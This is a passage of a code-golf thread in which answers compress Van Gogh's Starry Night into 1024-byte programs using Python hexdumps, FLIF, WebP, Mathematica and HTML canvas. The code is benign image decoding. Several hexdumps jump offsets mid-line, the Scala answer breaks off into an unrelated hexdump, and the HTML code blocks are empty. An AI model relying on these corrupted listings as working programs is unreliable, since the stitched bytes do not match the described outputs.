9ddd f321 1611 5e53 45e4 .#..DS...!..^SE.\n0000220: 5333 3551 1112 2bdd 4536 6fdd f531 1111 S35Q..+.E6o..1..\n0000230: 4e35 4445 5233 3243 1111 1129 2556 6fdd N5DER32C...)%Vo.\n0000240: f932 1112 3333 2355 5223 2235 2111 1111 .2..33#UR#\"5!...\n0000250: 1348 8fdd ce55 3223 2233 5333 5533 3235 .H...U2#\"3S3U325\n0000260: 3111 1111 3553 9ddd aeee 4532 3234 e445 1...5S....E224.E\n0000270: 2554 5235 3321 1111 3222 3fff 4ece 4522 %TR53!..2\"?.N.E\"\n0000280: 2545 3355 3222 2235 3233 2211 1222 39ff %E3U2\"\"523\"..\"9.\n0000290: 5ec4 e522 3455 3325 5339 5553 3333 3551 ^..\"4U3%S9US335Q\n00002a0: 2232 35ff 23e3 2553 3335 3222 554e 5555 \"25.#.%S352\"UNUU\n00002b0: 3333 3555 2553 23ff 2238 6553 3233 3322 335U%S#.\"8eS233\"\n00002c0: 5e44 5554 3533 3533 5323 32af 2333 2ee3 ^DUT5353S#2.#3..\n00002d0: 3233 3323 4444 4335 5332 2223 3222 32a9 233#DDC5S2\"#2\"2.\n00002e0: 2323 23ce 5535 5335 5553 3334 5311 1113 ###.U5S5US34S...\n00002f0: 335e 04c5 3232 322e 4445 3345 3458 1235 3^..222.DE3E4X.5\n0000300: 3266 6112 34ce 4ec4 4453 3522 4553 3552 2fa.4.N.DS5\"ES5R\n0000310: 3e21 1255 2167 7761 5444 4ec9 9505 3536 >!.U!gwaTDN...56\n0000320: 9393 3522 ee36 2353 1167 7771 4444 40a6 ..5\".6#S.gwqDD@.\n0000330: 7844 4532 1212 3234 ee53 3553 1177 6661 xDE2..24.S5S.wfa\n0000340: 4444 5c30 f969 04ee 5559 59ee ee44 e444 DD\\0.i..UYY..D.D\n0000350: 5311 7716 11c4 4440 fe9e ee44 eeee eeee [[email protected]](/cdn-cgi/l/email-protection)....\n0000360: e355 ccee 3211 6766 11c4 44e0 fce0 0440 .U..2.gf..D....@\n0000370: 0e0e 40ce 3888 ece4 3321 6676 11e5 2250 [[email protected]](/cdn-cgi/l/email-protection)!fv..\"P\n0000380: cce0 e44e 4994 44ee 3668 44ee 5451 1666 ...NI.D.6hD.TQ.f\n0000390: 11c3 6620 ceee c428 3684 eee0 5885 4e4e ..f ...(6...X.NN\n00003a0: 4492 1111 23c3 662c c96c c488 39ee 94ee D...#.f,.l..9...\n00003b0: 44ee 4444 4454 4323 55c9 229c c99c e493 D.DDDTC#U.\".....\n00003c0: 4e49 954e ecce eee4 4e55 5454 ee27 2e65 NI.N....NUTT.'.e\n00003d0: 6e63 6f64 6528 2768 6578 2729 2929 2e72 ncode('hex'))).r\n00003e0: 6573 697a 6528 2833 3836 2c33 3230 292c esize((386,320),\n00003f0: 3329 2e73 6176 6528 276f 2e70 6e67 2729 3).save('o.png')\n```\nand generates this picture:\n> \n> [![program output](https://i.stack.imgur.com/0GzZ8.png)](https://i.stack.imgur.com/0GzZ8.png)\n> \n> \n> \nThis program abuses the fact that you can basically shove raw bytes into Python source code as long as you escape NULs and backslashes.\nThe program itself consists of a 16-entry palette (the `|` separated string) and a 40x41 16-color image (encoded with 4 bits per pixel, and decoded by abusing `.encode('hex')`). The image is resized to the appropriate size with a bicubic filter, and that's it.\nThe actual image was generated with ImageMagick:\n```\nconvert -filter Cosine -resize 40x41\\! ../../ORIGINAL.png +dither -alpha off -colors 18 -compress none im.bmp\n```\nand the palette and image data were extracted from the resulting BMP. (Note that we request 18 colors from ImageMagick, since IM automatically inserts some unused entries).\nThe palette was rearranged slightly to reduce the number of escaped characters in the binary data, and the final binary data was edited a bit by hand to get the whole thing to fit in 1024 bytes.\n---\nEDITED: Golfed the code a bit, and improved the accuracy by requesting 17 colors from ImageMagick.\nEDITED: Disabling dithering produced a *huge* improvement in score. It now scores well under 5000, and is becoming competitive with off-the-shelf compression algorithms!\nEDITED: Adding `-filter Cosine` gives another sizeable improvement. Aggressive golfing, with thanks to @primo for the UTF-8 BOM trick, allowed me to tack another row onto the picture, further improving the score.\n[Answer]\n# zsh + FLIF + ImageMagick, 4358.14\nWith BPG stealing the spotlight as a lossy codec, I've refined my lossless upscale approach to use [FLIF](https://github.com/FLIF-hub/FLIF) instead of PNG, using @nneonneo's zsh trick. ImageMagick is only used here as an upscaler.\nThe hexdump (this time with `xxd`, I didn't realize `hexdump` was non-standard in my last answer):\n```\n00000000: 666c 6966 203d 2874 6169 6c20 2d6e 202b flif =(tail -n +\n00000010: 3320 2430 2920 6f2e 706e 670a 6578 6563 3 $0) o.png.exec\n00000020: 2063 6f6e 7665 7274 206f 2e70 6e67 202d convert o.png -\n00000030: 7265 7369 7a65 2033 3836 7833 3230 2120 resize 386x320! \n00000040: 6f2e 706e 670a 464c 4946 3331 0044 0038 o.png.FLIF31.D.8\n00000050: e113 7e24 321e fb1e 4df6 d7e0 cfa8 f513 ..~$2...M.......\n00000060: e1fa 32fb cf01 c186 dc85 efb3 2ea7 9415 ..2.............\n00000070: d1de e100 680a e7c9 455c 42c6 2283 9d32 ....h...E\\B.\"..2\n00000080: b06c b863 71ce 7c2b 9cd6 be17 3610 0ebd .l.cq.|+....6...\n00000090: 01ed c8c5 7b9b d687 3821 e3a5 6e47 846c ....{...8!..nG.l\n000000a0: 12b6 9346 d2a6 2760 eef0 f558 caea 260d ...F..'`...X..&.\n000000b0: c8d5 b0e0 f09c 53a1 df70 7277 9b79 02a9 ......S..prw.y..\n000000c0: 2813 2292 4f65 8fbc 97cc ea65 51ea d933 (.\".Oe.....eQ..3\n000000d0: 3989 4efe 2d86 23cd 1142 8f02 ff29 edd1 9.N.-.#..B...)..\n000000e0: 3f5d ae15 a973 0cc9 3750 f55c ec0b 2870 ?]...s..7P.\\..(p\n000000f0: c292 7085 8a38 1a5c d525 aa82 3a70 cb89 ..p..8.\\.%..:p..\n00000100: 0513 0a8a 7bba cfb7 461c ff14 c160 06b6 ....{...F....`..\n00000110: 67ae 3570 a2d1 d056 83e2 36b7 3ca4 d3c4 g.5p...V..6.<...\n00000120: 46a0 b5ca 4722 848a 2328 2f25 95b3 2cde F...G\"..#(/%..,.\n00000130: 8c0a 9acb dee4 5ef3 9693 e1ef cf7d 0578 ......^......}.x\n00000140: abb3 c853 f6f0 29e4 2d25 cf80 ec3a e91e ...S..).-%...:..\n00000150: 3863 5401 26e3 af1c 3691 15b2 a0b8 fc16 8cT.&...6.......\n00000160: c773 ffdc bbac 078d c4ea 8b9a 2763 29a8 .s..........'c).\n00000170: 1faa 598d eeff 3492 45eb c79d c014 b75c ..Y...4.E......\\\n00000180: 61dd 1cf4 64d6 ebe8 9c9a 2825 ed65 aa94 a...d.....(%.e..\n00000190: 2b86 d197 233d b45c 5f8a cc52 1752 7357 +...#=.\\_..R.RsW\n000001a0: e508 fa96 cb9d cab5 e4fa 02d9 0290 4aec ..............J.\n000001b0: 0173 3520 b9b0 a9ac 4d59 23c7 7dac e26d .s5 ....MY#.}..m\n000001c0: 4140 9bb6 f32a 795f 3ff1 2808 1718 0ba0 A@...*y_?.(.....\n000001d0: ceae b37b de22 cee7 8c34 0fb3 b8ef 081d ...{.\"...4......\n000001e0: 9baa 29c8 341c 6f71 a0d4 4bc7 0699 fdb0 ..).4.oq..K.....\n000001f0: 08a7 372b 65c1 a57f 6600 edd7 dc4a a698 ..7+e...f....J..\n00000200: 102d 06ea 7c07 b5de b187 8d03 27a0 7fe9 .-..|.......'...\n00000210: 1820 4409 d0d1 a939 4fb7 8697 18ed 5de0 . D....9O.....].\n00000220: 4015 57ba d209 1620 648f 6aff bbbc b010 @.W.... d.j.....\n00000230: a957 3c54 9a2e e9bb d552 9436 e73a 216f .W;.....\\...k.l.\n00000350: e3df 8a96 7217 0e07 e654 0633 5e52 fb5d ....r....T.3^R.]\n00000360: 76a4 6e05 33c8 bc5b 7bf1 9819 5c05 3705 v.n.3..[{...\\.7.\n00000370: 3ea6 cf51 3bcf 031a d103 9117 4622 da77 >..Q;.......F\".w\n00000380: 6018 ddbf fd6f 5a17 989b 1938 2a37 a326 `....oZ....8*7.&\n00000390: 0fa1 1507 9d1f 8fee 6116 2dc6 653b ed48 ........a.-.e;.H\n000003a0: 3543 4ff8 77b3 d1c7 41b3 0fc2 a6d6 7bee 5CO.w...A.....{.\n000003b0: a2dc f047 fae4 da02 c055 25b6 2cd1 0e51 ...G.....U%.,..Q\n000003c0: b382 fede ab22 1927 ac66 b8a4 8cf1 094d .....\".'.f.....M\n000003d0: e0cb 9288 a105 cb3e dbb0 4e04 e110 68fb .......>..N...h.\n000003e0: 78d0 c36f 390a db12 ba16 b055 a367 bacf x..o9......U.g..\n000003f0: 20 \n```\n[![starry, compressed with FLIF](https://i.stack.imgur.com/6O225.png)](https://i.stack.imgur.com/6O225.png)\nI've generated the script using... another script:\n```\nconvert ORIGINAL.png -filter Lanczos2 -resize x56 - | pngquant --speed 1 -f 10 > i.png\nflif -N i.png o.flif\necho 'flif =(tail -n +3 $0) o.png' > genstarry.sh\necho 'exec convert o.png -resize 386x320! o.png' >> genstarry.sh\ncat o.flif >> genstarry.sh\nzsh genstarry.sh\n```\n[Answer]\n# Python 2, 4684.46\n1021 bytes.\nThis uses a very similar decode method to a couple of other answers, but it is in Python 2 so it's base64 encoded data instead of base85.\nThe encoded data is a 64x48 WebP format image.\n```\nimport base64,io,PIL.Image\nPIL.Image.open(io.BytesIO(base64.b64decode('UklGRqQCAABXRUJQVlA4IJgCAACwDgCdASpAADAAPq1Em0mmI6KhNVYMAMAViWIAuzPZOwHN7eu7dJRv7H7zarBrCdDdER6XhybkFwT3wIGHlB1lUUaJZ57w+Ci3Z2w0PE+D9tZzFgHZn9+j+G1LIP++1WTWsLyD/6BI8VTX65vjcr4wuRD+hALdiK+qZ2uGKsAA/sJyKN4OBmJNGqjinqa8bVjXkcGP9zkVighf75VJT80vMeQrM+pbt3sCEa5W8IkgtQD+65nTwFfzVVylNlvc5LM5iC7pQ675eXJzzfdVZHahQf/RVXIT70DP9mLjG6XCpDGKVGd2k2w4Y//xNFvuDF6W1/Y1BhCeY60/1EPcFJcYPqH8AqaD7gLd0v8U6DjG6OGyFXME33IbTThiRYfs0fLUrOgw6EW52O0VW+TIo5ADqnoup7svrnSY/JykVO2VaVtr2nMc1FHGFxiNEux7NkoYeIwjpxA1hTbOwiEO02fXZGNAS0EfJ1f2jPtjyVbZvia+v3hVR4zWVkDp8+reHS4xMy4KHLPl1TNXtdxxJ+P5rW1mZcg9PqJrN1zafhRdVkFKSiU1+SigOtXZ0Ge5r8lte/uaGImm6FYQH/0g4rMPUh4As/5APXi/+rBu3ULEPu57ELp2ed8zLPPIMdqDHNSNZDPvzVQU2tkJ3RIW4fb7cw4fuqXHSGrRJ3jg70zSutBnPRZIERKti27+8g7QCLdAHlSbnz9Rrrf+N6k9AuUm/T1T0+Hc48A3D/hWbfADPWTK32pUz+9OaI7zF4yIx2rRPd3mRWYPgqKF1pD6pJu5FEj9jowD+9Hy8Jn2yd6WwqWgJY2m+crrZqY4GkqNdJX1DWYgRFJbMCsJxtrGkDEx3SIZyIyNRMIEKvpOrkDJkWAqZ+jXAAAA'))).resize((386,320),1).save('a.png')\n```\n[![enter image description here](https://i.stack.imgur.com/FdORx.png)](https://i.stack.imgur.com/FdORx.png)\nHere's the code I used to find the best image size and quality setting. I restricted the search space so it doesn't take more than a few minutes to run.\n```\nimport base64,io,PIL.Image\ndef score(orig, img):\n w, h = img.size\n img = img.convert(\"RGB\")\n orig_pix = orig.load()\n img_pix = img.load()\n score = 0\n for x in range(w):\n for y in range(h):\n orig_r, orig_g, orig_b = orig_pix[x,y]\n img_r, img_g, img_b = img_pix[x,y]\n score += (img_r-orig_r)**2\n score += (img_g-orig_g)**2\n score += (img_b-orig_b)**2\n return (score/255.**2)\noriginal = PIL.Image.open('ORIGINAL.png')\noriginal = original.convert(\"RGB\")\nlowest_score = 1000000\nfile_format = '.webp'\nfor width in range(16, 96, 8):\n for height in range(16, 80, 8):\n small = original.resize((width, height), 2)\n for q in range(70, 50, -1):\n tempFileName = 'a' + file_format;\n small.save(tempFileName, quality=q)\n file = open(tempFileName, 'rb')\n data = file.read()\n data64 = base64.b64encode(data)\n bytes = len(data64) + 109 # Decoding code is 109 bytes\n if (bytes <= 1024): # Size limit\n decoded = PIL.Image.open(io.BytesIO(data))\n cur_score = score(original, decoded.resize((386,320), 1))\n if (cur_score < lowest_score):\n lowest_score = cur_score\n best_q = q\n best_w = width\n best_h = height\n print 'Best %d x %d q %d (%d) : %.2f' % (best_w, best_h, best_q, bytes, lowest_score)\nbest_image = original.resize((best_w, best_h), 2)\nfinalFileName = 'best' + file_format;\nbest_image.save(finalFileName, quality=best_q)\nfile = open(finalFileName, 'rb')\ndata = file.read()\ndata64 = base64.b64encode(data)\nscript = open('generated.py', 'wb')\nscript.write('import base64,io,PIL.Image\\n')\nscript.write('PIL.Image.open(io.BytesIO(base64.b64decode(\\'' + data64 + '\\'))).resize((386,320),1).save(\\'a.png\\')')\n```\n[Answer]\n# Mathematica, 5076.54\nWeighing in at exactly 1024 bytes, I *finally* managed to beat nneonneo's score... until he improved it an hour ago =(\nUses no \"off-the-shelf\" compression algorithms.\n```\nf=IntegerDigits[FromDigits[ToCharacterCode@#-32,95],#2]~Partition~#3&;Image[Array[Nearest[f[\"GYWh6t@/0EwgZTWL9+IfA51 Qn0&q3k2eb[cFp{iDJp\\\\8:_I9v~0-035)!z^br^=,Jy.0X.wnXr\\\"&A'l3N$\\\"rHVD]ANb<[c-HyQ3k]\\\\/F.L)^F[FsTe]>9=Y MBP@-Y7,U1n2PgeTYL|d^@s%)|vDUsI63?3+5zt`4;0}7 L )pg$G\\\"S=.e`n@d0Qpb-w,2uQJQhD\\\\@-bq=OChgV}r[^o\\\\h/1w!5_{SVjv0a1\\\"?j.z%tRxXX$cC2[@K){*eQ/|$W%[{kFXnmL'EnM`-zs$OyS]mnL$]Qu,AIN%~n}zG{SD[q&YxNb'&Wiw\\\\yjJ#l^\",409,2]-11->(#+{51,-41}&/@f[\"VrrN<{ROjqTvLl!s)/8B{\\\\xpJ.8\\\"R~)A.1xA9{ ab8oq8bSoyJ:P_7OXdr@(&H>vp~sjV+M^1'Js;g&@2t/1Z)Xj=dwnLnm1Fd?`dpQ3AN>)n@!+cL'^j}N(c%~~F06||Vci{L_O*K>5i[>20mf8>WYKKuk\\\\T7d}L?xHDuS^GNr:o/(yq KvH=KEQX[e&faTh0&Ra+B0<9PLB)WPAe8\\\\#B$oo.AtrM\\\\*\\\"=1JZ0s/CBz{e9;8aH|w-#N_l>a.^@/M`[* };@#l)C(lXG=CVL:]?D@W=(3k{o.`jBG#g-33LX&lE+WHI\",231,2]).{{0.479,0.574,0.664},{0.591,0.349,-0.727}},{##}][[1]]&,{320,386}],\"Byte\"]\n```\n![enter image description here](https://i.stack.imgur.com/spU7P.png)\n* The colors and centers of the Voronoi cells are base-95 encoded, using the full ASCII range.\n* The colors are expressed in a two-dimensional subspace of the RGB cube to save space.\n(Better description later)\n[Answer]\n# Python 2 (no built-in compression), score 4497.730\nThis uses the same manually-decoded 16-color image approach as my [previous answer](https://codegolf.stackexchange.com/a/70339/6699), but this time I actually applied a gradient-descent optimization strategy to **significantly** improve the score. The previous submission scored 4755.886 points, whereas the new submission scores over 250 points better, beating out a lot of built-in compression approaches in the process.\nAs before, the final program is exactly 1024 bytes long. In fact, the raw output of the optimization algorithm contained four bytes that were escaped (`\\0`), and which I had to \"fudge\" in order to reduce the byte count to 1024 bytes. Without the fudge, the 1028-byte program would score 4490.685 - 7 points better.\nThe basic idea is to optimize both the palette and data jointly. In a single iteration, I search over all tweaks of the palette (basically, every modified palette which differs by 1 in some color component) and pick the modified palette which best improves the score. Then, I search over all tweaks of the data (every modified index array in which one pixel is changed to some other palette entry) and choose a modification which reduces the score (here I don't care about best, because I don't want to fruitlessly search the full space of over 25000 tweaks every iteration).\nFinally, when generating the final program output, I run another optimization pass which rearranges the palette to minimize the number of backslashes required in the final output (e.g. for the program shown below, the palette was rearranged using the hex table \"0e3428916b7df5ca\").\nThis approach yielded both a significant numerical and perceptual improvement over the previous naïve ImageMagick approach. Previous submission output:\n> \n> [![Old submission's output](https://i.stack.imgur.com/vRjt2.png)](https://i.stack.imgur.com/vRjt2.png)\n> \n> \n> \nAnd new submission output:\n> \n> [![New submission's output](https://i.stack.imgur.com/dMWzy.png)](https://i.stack.imgur.com/dMWzy.png)\n> \n> \n> \nThe new optimization-based approach has significantly more detail and accurate color reproduction.\nHere is the hexdump of the final program:\n```\n0000000: efbb bf66 726f 6d20 5049 4c2e 496d 6167 ...from PIL.Imag\n0000010: 6520 696d 706f 7274 2a0a 6672 6f6d 6275 e import*.frombu\n0000020: 6666 6572 2827 5247 4227 2c28 3430 2c34 ffer('RGB',(40,4\n0000030: 3129 2c27 272e 6a6f 696e 2827 b39b 2620 1),''.join('..& \n0000040: b4b9 7e20 2634 8120 5567 7520 3547 7320 ..~ &4. Ugu 5Gs \n0000050: 242e 5620 1c1f 1b20 7890 a420 4348 3d20 $.V ... x.. CH= \n0000060: 9fae a420 3a52 8e20 262b 3220 7d90 7f20 ... :R. &+2 }.. \n0000070: 3a49 5720 4a67 9720 5d79 9c27 2e73 706c :IW Jg. ]y.'.spl\n0000080: 6974 2829 5b69 6e74 2863 2c31 3629 5d66 it()[int(c,16)]f\n0000090: 6f72 2063 2069 6e27 8388 88b6 86b6 6b66 or c in'......kf\n00000a0: 6bb8 b8b8 8888 dd8b bbbb bb8d b688 bb66 k..............f\n00000b0: 6666 6666 b68d bdb6 bb88 33bd 5b55 bb68 ffff......3.[U.h\n00000c0: b888 b66b 6666 6666 66bb 6688 88d8 bbb5 ...kfffff.f.....\n00000d0: 553d 868b bb8b 6666 666b 6666 66b6 3d68 U=....fffkfff.=h\n00000e0: bb66 5dd4 8363 b8bd dbd8 6666 66b6 66b6 .f]..c....fff.f.\n00000f0: bbbb bbb6 d666 6bd6 f3bd d3d4 b5dd 666b .....fk.......fk\n0000100: 6666 6666 b668 63d5 66b8 5bd8 66bb 5b5b ffff.hc.f.[.f.[[\n0000110: 884b b66b 666b 666b 686d 8d85 dbb6 dd4b .K.kfkfkhm.....K\n0000120: 5b33 6db5 b5bd 6b6b 6b66 66bb d5b3 dddb [3m...kkkff.....\n0000130: bad4 58b5 d435 3b33 b555 6b66 6666 66bb ..X..5;3.Ukffff.\n0000140: 5346 db84 d45d bbbd 54d7 4d3b 5bbb b6b6 SF...]..T.M;[...\n0000150: 6666 66b5 6bd3 d4f3 eddd 4333 c5d3 3c83 fff.k.....C3..<.\n0000160: b2a5 5666 6666 66b6 b534 84d5 4444 b8b8 ..Vffff..4..DD..\n0000170: b383 8333 3ffe 7666 66b6 6b42 2555 2eaa ...3?.vff.kB%U..\n0000180: 5b4a 4343 ad33 3388 43fe f666 b6d6 64e3 [JCC.33.C..f..d.\n0000190: 564f d534 4455 aaea aaef ffee e737 3666 VO.4DU.......76f\n00001a0: 6bb6 c73e ef3a f352 445b b25a eaee ffee k..>.:.RD[.Z....\n00001b0: ff79 3666 6b63 7c73 f3ec ee34 b55b 53b6 .y6fkc|s...4.[S.\n00001c0: 5baf eee3 3717 3666 6dda 3fc1 ccc3 cc3a [...7.6fm.?....:\n00001d0: f333 7e34 bbb2 feea 7c7e d666 6ddf 99f3 .3~4....|~.fm...\n00001e0: c7c1 c717 c777 7f77 f35b b6bb 374a 4666 .....w.w.[..7JFf\n00001f0: be49 9999 aeee fac9 cc99 997c c79b 5bbb .I.........|..[.\n0000200: a3ae 4666 bad9 9197 e7ae fae4 acf3 ef99 ..Ff............\n0000210: 9cf7 d6b5 4afe 3666 bf79 9099 a5ef af4a ....J.6f.y.....J\n0000220: ee77 ce49 999f 7b66 aeec 1b66 be39 1999 .w.I..{f...f.9..\n0000230: a474 a2ef a7ef fcaf 1979 997c 7ee1 1b66 .t.......y.|~..f\n0000240: baf7 999f efff 7cee e77e 7ffa 7999 9999 ......|..~..y...\n0000250: 1eac c666 d4fe f7ff 7fff feff eeff e7ef ...f............\n0000260: a919 1999 f3ae a6b6 d4a5 aef7 ecf4 44a3 ..............D.\n0000270: 7aa4 a7fe fe79 9199 e777 76b6 e4b4 ae77 z....y...wv....w\n0000280: 7f4e ffef 3977 9fee f7ee 7719 9777 f36b .N..9w....w..w.k\n0000290: e45e 4e7f fafe ff7a eec3 3eef feff eaa1 .^N....z..>.....\n00002a0: f7f7 3f66 9f5f ceef fe7a e777 aeaa ee3e ..?f._...z.w...>\n00002b0: efee fefe caae c766 77fc 1aff f7ff 7f77 .......fw......w\n00002c0: edea eeea faff faff ef9f e7d6 7fff c547 ...............G\n00002d0: 37ef fef7 4eaa affe e7ff 77ff fcf7 c7dd 7...N.....w.....\n00002e0: 7e9f ff64 e3ef a7fa faef fffa ee19 197f ~..d............\n00002f0: fcf5 2abf f7fc f774 aaa3 e74e 7a3c 77ee ..*....t...NzUB.....Z**e\"J.\n0000370: a222 a254 7ccc 454e ef9c 1101 174a 77a2 .\".T|.EN.....Jw.\n0000380: b224 2aa4 2c32 aa42 700c aa45 ea39 c111 .$*.,2.Bp..E.9..\n0000390: 9c57 c072 545a 5ecc e0ca 4522 ecce a4a4 .W.rTZ^...E\"....\n00003a0: a34f 991c cf5f 0175 5315 5acc f4a4 ae44 .O..._.uS.Z....D\n00003b0: aa34 ea34 aafa 2ffc ee54 7f4b 5345 2a3c .4.4../..T.KSE*<\n00003c0: a4a3 33aa 4554 445e a4e3 f4ea 4427 2e65 ..3.ETD^....D'.e\n00003d0: 6e63 6f64 6528 2768 6578 2729 2929 2e72 ncode('hex'))).r\n00003e0: 6573 697a 6528 2833 3836 2c33 3230 292c esize((386,320),\n00003f0: 3129 2e73 6176 6528 276f 2e70 6e67 2729 1).save('o.png')\n```\nThere's still room to improve. For example, a simple histogram shows that some colors are barely used:\n```\n 6: 203\n15: 167\n14: 154\n11: 152\n10: 145\n 7: 120\n 4: 110\n 3: 107\n 5: 85\n 9: 77\n12: 77\n13: 66\n 1: 56\n 8: 54\n 2: 49\n 0: 18\n```\nThis suggests that a rebalanced palette might improve efficiency, perhaps enough to catch the 5th place BPG solution. However, I am quite doubtful that this optimization approach (or really, anything that doesn't involve the extraordinary machinery of H.265) can catch the first place BPG implementation.\n[Answer]\n# HTML/JavaScript\n---\n### Score:   10855.83   8000.55   5999.90\n---\n### Notes:\nDue to rendering differences, the score may vary slightly depending on the browser or GPU.\nYou have to right-click > Save Image As to save the canvas data as an image, but that's the only interaction that's required.\n---\n### Attempt #1 (Jan 2016): 10855.83\nFor my first attempt, I had misread the prompt and thought that a higher score was better. Oops.\nI used polygons for this attempt because I was focusing more on keeping the total number of shapes low rather than squeezing in as many simple shapes as possible.\nAll things considered, it's pretty crazy how just 4-5 shapes can look so much like a famous painting.\nFor the colors, I used GIMP to select certain areas and find their average. In particular, the color picker tool and [\"layer difference\" feature](https://docs.gimp.org/en/gimp-concepts-layer-modes.html#layer-mode-difference) were very helpful.\n![First attempt](https://i.stack.imgur.com/3vvN8.png)\n```\n\n\n```\n---\n### Attempt #2 (Sep 2018): 8000.55\nFor my second attempt, I switched to a rectangle-based approach and made some simple code optimizations to allow for 14+ rectangles.\nThis time around, I used Inkscape to arrange the shapes and experiment with the colors.\n[![Second attempt](https://i.stack.imgur.com/8wgNo.png)](https://i.stack.imgur.com/8wgNo.png)\n```\n\n\n```\n---\n### Attempt #3 (Mar 2022): 5999.90\nFor my third attempt, I minified the HTML code and added some size and color compression to the rectangles.\nInstead of passing values like `240` to the function that draws the rectangles, I'm now passing values like `30` and having the function multiply them by `8`. That makes each function call several bytes smaller on average since the numbers generally have fewer digits.\nI also restricted the colors to three-digit values like `6AF` rather than `66AAFF` or `65ABFE`. That restriction makes the colors slightly less accurate individually but saves up to three bytes per function call.\nThose changes, along with minifying the HTML code, allowed me to nearly quadruple the number of rectangles!\nThe exact number of them that will fit into a kilobyte depends on their parameter values. For example, a width like `12` takes up more room than a width like `8`, and a mixed color value like `\"3c3\"` requires quotes unlike an all-numeric color value such as `333`.\nWith the code below, I was able to paint 50 rectangles onto the canvas using 1021 bytes of barely-valid HTML and JavaScript.\n[![Third attempt](https://i.stack.imgur.com/sMXWg.png)](https://i.stack.imgur.com/sMXWg.png)\n```\n\n```\n---\n### HTML tool (Mar 2022)\nFor the first two attempts, I had used simple trial and error in GIMP/Inkscape to generate some decent rectangle values, which was fine for the small number of rectangles being used. After starting on the third attempt, though, I realized that managing ~50 rectangles by hand would be a terrible idea, so I decided to write a separate HTML tool to automate the process.\nThe tool went through several iterations, some of which worked better than others, and what I ended up with was a tool that takes an initial array of rectangles and then repeats this loop:\n1. Randomly modify the dimensions, coordinates, and color values of several random rectangles in the initial array\n2. Paint the modified array's rectangles on a canvas and check its score\n3. If the modified array is an improvement, make it the new initial array\nI generated some decent starting values by hand using Inkscape, let the tool run for a while in several browser windows, collected its best output, and then gradually updated the starting values and refreshed the page until I ended up with a score that was difficult to improve further.\nHere's the final code for that tool. Due to CORS policy, the canvas becomes tainted if you try to run it locally, so you'll need to use a workaround like hosting it on a website. Also, you'll need to include the original Starry Night image in the same directory with the filename `reference-image.png`.\nThe starting values included here are already heavily optimized, so you likely won't see any improvements being made unless you run the tool for a very long time or change the starting values.\n```\n\n\n \n\n\n
\n
\n
\n \n
Original image
\n
\n
\n \n
Comparison score: TBD
\n
Last 100 average: TBD
\n
\n \n
\n \n
Best score: TBD
\n
Num rects: TBD
\n
\n
\n
\n \n
\n
\n\n\n\n```\nExample of my workflow using the tool:\n[![enter image description here](https://i.stack.imgur.com/faQPi.png)](https://i.stack.imgur.com/faQPi.png)\n[![enter image description here](https://i.stack.imgur.com/u3YkJ.png)](https://i.stack.imgur.com/u3YkJ.png)\n---\n### Future plans\nMy approach so far has been limited to rectangles. Based on how curvy the original Starry Night painting is, I could probably achieve a higher score by using circles or polygons.\nI also realized too late that I overcompressed the coordinates and dimensions in attempt #3 and could have allowed the rectangles to have slightly more precision without adding any additional bytes.\nAfter finishing attempt #3, I tested out several [canvas filters](https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/filter) and was able to immediately improve its final score by several hundred points using blur, drop-shadow, and opacity. However, I decided to exclude those improvements for now until I can properly incorporate them into the tool.\n[Answer]\n## Scala, 6003.56\n993 characters. One import is [scala image library](https://github.com/sksamuel/scrimage). Second import is [base 91 encoder](http://search.maven.org/#search%7Cga%7C1%7Cg%3A%22com.github.mcpat.libxjava%22).\n```\nobject T extends App {\nimport com.github.libxjava.io._, com.sksamuel.scrimage._\nval a = \"vuk:eJs4+BAAN/um^8Wm}ozBAn|m(qVi2Yt+j8GnHAD%FaO,BjL2c%w%z,M+OyQy9eR0wkSXUa1|1pm1$?XSrkFs(;9/]Vk3<%.^UVyt~_Pnh?n7;[v06@I`oB{.2OCGT/*v/pS|`XN5.rp1`5)M$wy49cuk0G=%lVCEbxW{^Wd*{JR]hZM>S0$&Eo1,wk6]/WkAK:{$}d__nf_YZ&qRlB;(!QUN+:&F#ZZSX*LxcCIR)&,,0=T:1&IuG[r|yQ>[)oFJTvpvRaM5Z6#oGj^%6Xqqn[Uo2AoeoEuvt2A7_N7TL)9_+[oq^J_3gwqhg$^#+{n[cW(0H}cP\\\"ek=a34Cpt:u]Sab;~&;FlT_iy6fMw`F>z(MQ^}vvoAy?@XxV26Se8:FT)T]]N2KH`b4%l_Zuu@y=0fTH1WeQ58~~[(QAKYhf]^Bel^[Tb44/G96&^2O@_6L072:)lRpMDZYMB]i9GM]t?t0%Wq99/0Ti=gjDi6]P7b3:dU$N0e&1Z?PaY`Hb`h7l)%N`fsuzV;/x`Uce.8:?K[@0|ckpCe/emO7!8^~eZsN[$)iOZ0zYW4VE]K5?RbO|GYzx(ra\n0000020: 7774 6f70 706d 202d 6267 7220 3936 2038 wtoppm -bgr 96 8\n0000030: 307c 7061 6d66 6c69 7020 2d74 627c 7061 0|pamflip -tb|pa\n0000040: 6d73 6361 6c65 202d 7879 6669 6c6c 2033 mscale -xyfill 3\n0000050: 3836 2033 3230 202d 6669 6c74 6572 2073 86 320 -filter s\n0000060: 696e 633e 6f75 7429 2030 2e39 350a 6f00 inc>out) 0.95.o.\n0000070: a060 206d 7997 f801 b8af b544 5f71 c411 .` my......D_q..\n0000080: bba5 e80c a148 0424 72b8 67b5 bd41 3fce .....H.$r.g..A?.\n0000090: 4f43 8d78 9086 b69a ee32 c8ff ffd7 18f9 OC.x.....2......\n00000a0: ffff ffff ffff ffff ff7b f326 e0d5 d0f1 .........{.&....\n00000b0: 06b5 529f 9335 59cd 76c8 7a3c 0159 fc29 ..R..5Y.v.z<.Y.)\n00000c0: 3cee ffff 7f48 caf9 6e59 3f8e 8a35 52e0 <....H..nY?..5R.\n00000d0: 6b6c ad59 6d00 47cc 3934 488f aff6 5119 kl.Ym.G.94H...Q.\n00000e0: 072b 0d9d deb8 ea10 11df d078 5db7 abc6 .+.........x]...\n00000f0: 78df d367 1d58 71f9 ff2b 5163 7652 182e x..g.Xq..+QcvR..\n0000100: b774 e25d 3341 1d52 c607 a936 528c 1a55 .t.]3A.R...6R..U\n0000110: e04e 8d15 0759 0035 74fb 60dd a644 05fb .N...Y.5t.`..D..\n0000120: 9ea8 8383 5838 cf25 6315 9a73 a600 8d6d ....X8.%c..s...m\n0000130: 958c 43ae 57da 1bd0 f38e aca0 68ba 7b9d ..C.W.......h.{.\n0000140: 29b1 1bf4 0f1c aecb 86a9 6b85 e4d7 4a22 ).........k...J\"\n0000150: 6b08 22c4 edc2 de62 6ced 8c9d c923 5ff9 k.\"....bl....#_.\n0000160: ead2 1be7 4201 92a2 402a 